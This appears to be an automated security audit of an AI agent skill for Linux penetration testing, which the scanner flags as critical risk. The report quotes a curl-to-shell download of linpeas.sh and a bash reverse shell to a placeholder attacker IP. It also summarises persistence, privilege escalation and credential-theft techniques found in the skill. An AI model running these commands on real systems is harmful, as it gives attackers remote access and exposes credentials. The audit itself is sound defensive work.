linux-pentester-practical-commands
Fail
Audited by Gen Agent Trust Hub on Jun 12, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill instructs the user to download and immediately execute shell scripts from external repositories using a pipe to the shell, specifically for automated enumeration tools (e.g.,
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh). - [COMMAND_EXECUTION]: Provides detailed templates and one-liners for establishing reverse shells using multiple languages and tools, including Bash, Netcat, Python, and PHP (e.g.,
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1). - [COMMAND_EXECUTION]: Includes techniques for system persistence, such as adding unauthorized SSH public keys, creating backdoor users with sudo privileges, and establishing recurring reverse shells via crontab and systemd services.
- [COMMAND_EXECUTION]: Details privilege escalation methods including exploiting SUID binaries, misconfigured sudo permissions (GTFOBins), and runtime library injection via
LD_PRELOADwhich involves compiling C code at runtime. - [DATA_EXFILTRATION]: Contains commands designed to extract sensitive information such as password hashes from
/etc/shadow, credentials from environment variables, and database secrets from web application configuration files. - [EXTERNAL_DOWNLOADS]: The skill requires cloning an external, third-party GitHub repository (
HIMANSHUSHARMA20/Linux-for-a-Pentester) to access the full command reference.
Recommendations
- HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
- CRITICAL: 1 infected file(s) detected - DO NOT USE
- AI detected serious security threats
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